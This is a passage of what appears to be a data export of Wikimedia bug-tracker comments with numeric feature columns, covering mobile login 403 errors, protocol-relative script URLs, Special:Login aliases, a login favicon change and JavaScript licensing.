an HTTP 403 error when I try to log in.  I'm using the Wikipedia App version 2.2 on an iPod Touch 4th Generation.
145382,403 HTTP method not allowed.,"**RSYQFIOJGWZA** wrote:

Now I can't even login. http://en.m.wikipedia.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=User_talk:Jeff_G.&returntoquery=mobileaction%3Dview_normal_site produces the same error, with different ""Guru Meditation:
XID: 1848071891"".",,,1316881926,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,0,False,,,-101,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,15.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4242424242424243,0.7878787878787878,"**RSYQFIOJGWZA** wrote:

Now I can't even login. URL produces the same error, with different ""Guru Meditation:
XID: 1848071891""."
145378,403 HTTP method not allowed.,"**RSYQFIOJGWZA** wrote:

I was trying to make edit http://en.wikipedia.org/w/index.php?title=User_talk:Jeff_G.&diff=450978870&oldid=450929704 (accomplished from a computer).",,,1316271902,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,0,False,,,-102,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.409090909090909,0.8636363636363636,"**RSYQFIOJGWZA** wrote:

I was trying to make edit URL (accomplished from a computer)."
145374,403 HTTP method not allowed.,"**RSYQFIOJGWZA** wrote:

I was using HTTP, sorry Opera Mini cut off ""http://"".",,,1316263034,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,0,False,,,-102,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,25.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.1,0.85,"**RSYQFIOJGWZA** wrote:

I was using HTTP, sorry Opera Mini cut off ""URL"
145369,403 HTTP method not allowed.,"**RSYQFIOJGWZA** wrote:

From en.m.wikipedia.org/w/index.php?title=User_talk:Jeff_G.&action=edit&section=13 , I was trying to submit a post of a reply to a post on my enwp user talk page, using the full version of the site, with Opera Mini 6.1.2557 for Android (in this instance, later duplicated with the built-in browser) on Android 2.2.2 (froyo), on my Samsung Galaxy Prevail smart phone for use with the Boost Mobile prepaid service from Sprint, via wifi, Cabevision's Optmum Online, and their ISP.",,,1316262749,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,0,False,,,-102,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,18.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,18.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,18.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,4.46875,0.7083333333333334,"**RSYQFIOJGWZA** wrote:

From en.m.wikipedia.org/w/index.php?title=User_talk:Jeff_G.&action=edit&section=13 , I was trying to submit a post of a reply to a post on my enwp user talk page, using the full version of the site, with Opera Mini 6.1.2557 for Android (in this instance, later duplicated with the built-in browser) on Android 2.2.2 (froyo), on my Samsung Galaxy Prevail smart phone for use with the Boost Mobile prepaid service from Sprint, via wifi, Cabevision's Optmum Online, and their ISP."
145364,403 HTTP method not allowed.,How did you reach there?,,,1316260051,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,0,False,,,-102,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,How did you reach there?
32734,Commons Vector.js loads WikiMiniAtlas over http when visiting https://commons,"Not strictly in the scope of this tracker, I know, but putting this in as a TODO for myself.

On [[commons:MediaWiki:Vector.js]] (and possibly elsewhere), this:

var metaBase = 'http://meta.wikimedia.org';
if ( mw.config.get( 'wgServer' ) == 'https://secure.wikimedia.org' ) {
 var metaBase = 'https://secure.wikimedia.org/wikipedia/meta';
}

needs to be changed to just

var metaBase = '//meta.wikimedia.org';

after we deploy HTTPS to meta.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1315065960,1316286681.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-frdxbvhnsqgwqmgzicec,task_description,invalid,True,c2,0,False,False,True,-104,True,0.0,0.0,0.0,1.0,0.5,2.0,0.0,0.0,0.0,0.5,1.5,5.0,0.0,0.0,0.0,2.0,0.0,3.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,8.0,0.5,1.0,2.5,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,7.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,1.0,3.351948051948052,0.6478896103896103,"Not strictly in the scope of this tracker, I know, but putting this in as a TODO for myself.

On [[commons:MediaWiki:Vector.js]] (and possibly elsewhere), this:

var metaBase = 'URL
if ( mw.config.get( 'wgServer' ) == 'URL ) {
 var metaBase = 'URL
}

needs to be changed to just

var metaBase = '//meta.wikimedia.org';

after we deploy HTTPS to meta.

--------------------------
**Version**: unspecified
**Severity**: normal"
152027,Commons Vector.js loads WikiMiniAtlas over http when visiting https://commons,"Marking invalid as it's not a Wikimedia issue, but my previous post shows a work-around for wiks without https, and for those that do have https, the following can be used:


var xBase = '//x.wikimedia.org';
mw.loader.load( xBase + '/w/index.php? ......' );

The latter has been applied to  http://commons.wikimedia.org/wiki/MediaWiki:Vector.js",,,1316286681,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-frdxbvhnsqgwqmgzicec,task_subcomment,,True,c2,0,True,,,-102,True,0.0,0.0,0.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,7.0,6.0,1.0,6.0,0.0,3.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,3.6231884057971016,0.855072463768116,"Marking invalid as it's not a Wikimedia issue, but my previous post shows a work-around for wiks without https, and for those that do have https, the following can be used:


var xBase = '//x.wikimedia.org';
mw.loader.load( xBase + '/w/index.php? ......' );

The latter has been applied to  URL"
152018,Commons Vector.js loads WikiMiniAtlas over http when visiting https://commons,"There is a structure like that that is about as common, a little bit better:


var xBase = 'http://x.wikimedia.org';
if ( mw.config.get( 'wgServer' ).indexOf('https://') === 0 ) {
 var xBase = 'https://secure.wikimedia.org/wikipedia/x';
}


Except that this one is subject to the same bug, because wgServer doesn't contain http nor https. Until https is on all wikis, wikis should use protocol-relative where possible and keep these if-statements for wikis that don't yet.",,,1315066216,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-frdxbvhnsqgwqmgzicec,task_subcomment,,True,c2,0,True,,,-104,True,1.0,0.0,0.0,0.0,2.0,5.0,3.0,1.0,0.0,2.0,1.0,6.0,0.0,0.0,1.0,0.0,0.0,6.0,11.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,21.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,4.0,5.0,6.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,11.0,5.0,0.0,4.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,3.5416666666666665,0.6770833333333334,"There is a structure like that that is about as common, a little bit better:


var xBase = 'URL
if ( mw.config.get( 'wgServer' ).indexOf('URL === 0 ) {
 var xBase = 'URL
}


Except that this one is subject to the same bug, because wgServer doesn't contain http nor https. Until https is on all wikis, wikis should use protocol-relative where possible and keep these if-statements for wikis that don't yet."
39137,Create Special:Login as a redirect to Special:UserLogin,"Special:Login is more intuitive than Special:UserLogin.  I suppose there's no reason to move the current one, but could Special:Login be created as a redirect?

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1338110400,1373289760.0,PHID-USER-eob3rbz3vybcgnjfvmbn,False,,False,PHID-TASK-5oxi4h646gofncgguima,task_description,resolved,True,c2,1,False,False,True,-66,True,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,17.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.018867924528302,0.7169811320754716,"Special:Login is more intuitive than Special:UserLogin.  I suppose there's no reason to move the current one, but could Special:Login be created as a redirect?

--------------------------
**Version**: unspecified
**Severity**: enhancement"
176218,Create Special:Login as a redirect to Special:UserLogin,"Change 52749 merged by jenkins-bot:
Add Special:Login and Special:Logout as aliases.

https://gerrit.wikimedia.org/r/52749",,,1373289816,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5oxi4h646gofncgguima,task_subcomment,,True,c2,1,False,,,-8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9545454545454546,0.8636363636363636,"Change 52749 merged by jenkins-bot:
Add Special:Login and Special:Logout as aliases.

GERRIT_URL"
176214,Create Special:Login as a redirect to Special:UserLogin,Merged.,,,1373289760,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-5oxi4h646gofncgguima,task_subcomment,,True,c2,1,True,,,-8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged.
176210,Create Special:Login as a redirect to Special:UserLogin,"Done.  I made Special:Login and Special:Logout aliases, with the current titles remaining canonical.

Pending review: https://gerrit.wikimedia.org/r/52749",,,1362709229,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-5oxi4h646gofncgguima,task_subcomment,,True,c2,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,31.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.384615384615385,0.8461538461538461,"Done.  I made Special:Login and Special:Logout aliases, with the current titles remaining canonical.

Pending review: GERRIT_URL"
176206,Create Special:Login as a redirect to Special:UserLogin,"It is called ""alias"" (or special page alias) in mediawiki and it is maintenance in the language file.",,,1339113658,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-5oxi4h646gofncgguima,task_subcomment,,True,c2,1,False,,,-64,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,4.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.652173913043478,0.8260869565217391,"It is called ""alias"" (or special page alias) in mediawiki and it is maintenance in the language file."
38982,Change Meta (fav)icon on Special:Userlogin,"Change Meta (fav)icon on Special:Userlogin (after form submit) from Wikimedia to the Community logo.

--------------------------
**Version**: unspecified
**Severity**: trivial",Low,25.0,1337464080,1341590161.0,PHID-USER-xqqqgn2dels45flxw5kb,False,,False,PHID-TASK-gdoyi7qpscdxj6l3rg24,task_description,resolved,True,c2,1,True,False,True,-67,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2105263157894735,0.7105263157894737,"Change Meta (fav)icon on Special:Userlogin (after form submit) from Wikimedia to the Community logo.

--------------------------
**Version**: unspecified
**Severity**: trivial"
176377,Change Meta (fav)icon on Special:Userlogin,"'wmgCentralAuthLoginIcon' => array(
	'default' => false,
	'wiki' => '/usr/local/apache/common/images/sul/wikipedia.png',
	'wikibooks' => '/usr/local/apache/common/images/sul/wikibooks.png',
	'wikinews' => '/usr/local/apache/common/images/sul/wikinews.png',
	'wikiquote' => '/usr/local/apache/common/images/sul/wikiquote.png',
	'wikisource' => '/usr/local/apache/common/images/sul/wikisource.png',
	'sourceswiki' => '/usr/local/apache/common/images/sul/wikisource.png',
	'wikiversity' => '/usr/local/apache/common/images/sul/wikiversity.png',
	'wiktionary' => '/usr/local/apache/common/images/sul/wiktionary.png',
	'metawiki' => '/usr/local/apache/common/images/sul/meta.png',
	'commonswiki' => '/usr/local/apache/common/images/sul/commons.png',
	'mediawikiwiki' => '/usr/local/apache/common/images/sul/mediawiki.png',
	'specieswiki' => '/usr/local/apache/common/images/sul/wikispecies.png',
	'incubatorwiki' => '/usr/local/apache/common/images/sul/incubatorwiki.png',
),

File physically replaced

reedy@fenari:/home/wikipedia/common$ git commit -a
[master 5851952] Bug 36982 - Change Meta (fav)icon on Special:Userlogin
 1 files changed, 6 insertions(+), 6 deletions(-)
 rewrite images/sul/meta.png (98%)
reedy@fenari:/home/wikipedia/common$ git push origin
Counting objects: 15, done.
Delta compression using up to 2 threads.
Compressing objects: 100% (8/8), done.
Writing objects: 100% (9/9), 1.84 KiB, done.
Total 9 (delta 5), reused 0 (delta 0)
remote: Resolving deltas: 100% (5/5)
remote: Processing changes: refs: 1, done
To ssh://gerrit.wikimedia.org:29418/operations/mediawiki-config.git
   c1b096d..5851952  master -> master",,,1341590161,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-gdoyi7qpscdxj6l3rg24,task_subcomment,,True,c2,1,True,,,-60,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.2,0.0,0.0,0.0,0.0,0.4,0.2,0.8,0.0,0.2,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.8,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.4,0.0,0.0,0.0,0.0,0.0,20.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.2,4.2,0.0,0.0,0.8,6.0,0.0,11.2,0.0,0.0,0.0,0.0,0.0,0.0,0.4,0.0,0.0,5.4,3.37111801242236,0.3660057333970377,"'wmgCentralAuthLoginIcon' => array(
	'default' => false,
	'wiki' => '/usr/local/apache/common/images/sul/wikipedia.png',
	'wikibooks' => '/usr/local/apache/common/images/sul/wikibooks.png',
	'wikinews' => '/usr/local/apache/common/images/sul/wikinews.png',
	'wikiquote' => '/usr/local/apache/common/images/sul/wikiquote.png',
	'wikisource' => '/usr/local/apache/common/images/sul/wikisource.png',
	'sourceswiki' => '/usr/local/apache/common/images/sul/wikisource.png',
	'wikiversity' => '/usr/local/apache/common/images/sul/wikiversity.png',
	'wiktionary' => '/usr/local/apache/common/images/sul/wiktionary.png',
	'metawiki' => '/usr/local/apache/common/images/sul/meta.png',
	'commonswiki' => '/usr/local/apache/common/images/sul/commons.png',
	'mediawikiwiki' => '/usr/local/apache/common/images/sul/mediawiki.png',
	'specieswiki' => '/usr/local/apache/common/images/sul/wikispecies.png',
	'incubatorwiki' => '/usr/local/apache/common/images/sul/incubatorwiki.png',
),

File physically replaced

reedy@fenari:/home/wikipedia/common$ git commit -a
[master 5851952] Bug 36982 - Change Meta (fav)icon on Special:Userlogin
 1 files changed, 6 insertions(+), 6 deletions(-)
 rewrite images/sul/meta.png (98%)
reedy@fenari:/home/wikipedia/common$ git push origin
Counting objects: 15, done.
Delta compression using up to 2 threads.
Compressing objects: 100% (8/8), done.
Writing objects: 100% (9/9), 1.84 KiB, done.
Total 9 (delta 5), reused 0 (delta 0)
remote: Resolving deltas: 100% (5/5)
remote: Processing changes: refs: 1, done
To ssh://gerrit.wikimedia.org:29418/operations/mediawiki-config.git
   c1b096d..5851952  master -> master"
176369,Change Meta (fav)icon on Special:Userlogin,"**Thehelpfulonewiki** wrote:

http://upload.wikimedia.org/wikipedia/commons/thumb/8/81/Wikimedia-logo.svg/20px-Wikimedia-logo.svg.png 

needs to be replaced with

http://upload.wikimedia.org/wikipedia/commons/thumb/7/75/Wikimedia_Community_Logo.svg/20px-Wikimedia_Community_Logo.svg.png

where it says 


You are now logged in to Outreach Wiki as ""Thehelpfulone"".
Logging you in to wikis of the Wikimedia Foundation:

<icons here>",,,1337554272,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gdoyi7qpscdxj6l3rg24,task_subcomment,,True,c2,1,False,,,-67,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,20.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,16.0,20.0,0.0,4.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,3.588235294117647,0.7450980392156863,"**Thehelpfulonewiki** wrote:

URL 

needs to be replaced with

URL

where it says 


You are now logged in to Outreach Wiki as ""Thehelpfulone"".
Logging you in to wikis of the Wikimedia Foundation:

<icons here>"
38866,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"**Author:** `kete`

**Description:**
Nontrivial JavaScript should have a free license, so we can know what our browsers are doing. With libre licenses, we can study the JavaScript source code. Your wiki code could use a simple license declaration in the header as described at http://www.gnu.org/philosophy/javascript-trap.html#AppendixA

Regards

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1337102160,1531874001.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-x4zarjl4e5rxu2neey5s,task_description,declined,True,c2,1,False,False,False,-68,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,15.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,6.0,9.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,4.075949367088608,0.6455696202531646,"**Author:** CODE

**Description:**
Nontrivial JavaScript should have a free license, so we can know what our browsers are doing. With libre licenses, we can study the JavaScript source code. Your wiki code could use a simple license declaration in the header as described at URL

Regards

--------------------------
**Version**: unspecified
**Severity**: enhancement"
937945,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"The GPL defines source as the ""preferred form for modification"" and
minified-JS is clearly not that.

We should provide a licensing information and offer/pointer to source
when we distribute the software.",,,1506566903,,PHID-USER-6iuj5hbfvcdmwmkuzgb6,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,213,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,10.0,2.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,7.0,5.0,0.0,5.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.214285714285714,0.8571428571428571,"The GPL defines source as the ""preferred form for modification"" and
minified-JS is clearly not that.

We should provide a licensing information and offer/pointer to source
when we distribute the software."
935290,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"@MaxSem there's also the issue that no url is provided for the source of the non-source js. Anyways, I'll also add to the readme mentioning the problems. At this point, it's incomplete and I don't recommend using it.",,,1506116170,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,212,True,0.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,4.0,2.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,10.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,10.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.7346938775510203,0.7551020408163265,"SCREEN_NAME there's also the issue that no url is provided for the source of the non-source js. Anyways, I'll also add to the readme mentioning the problems. At this point, it's incomplete and I don't recommend using it."
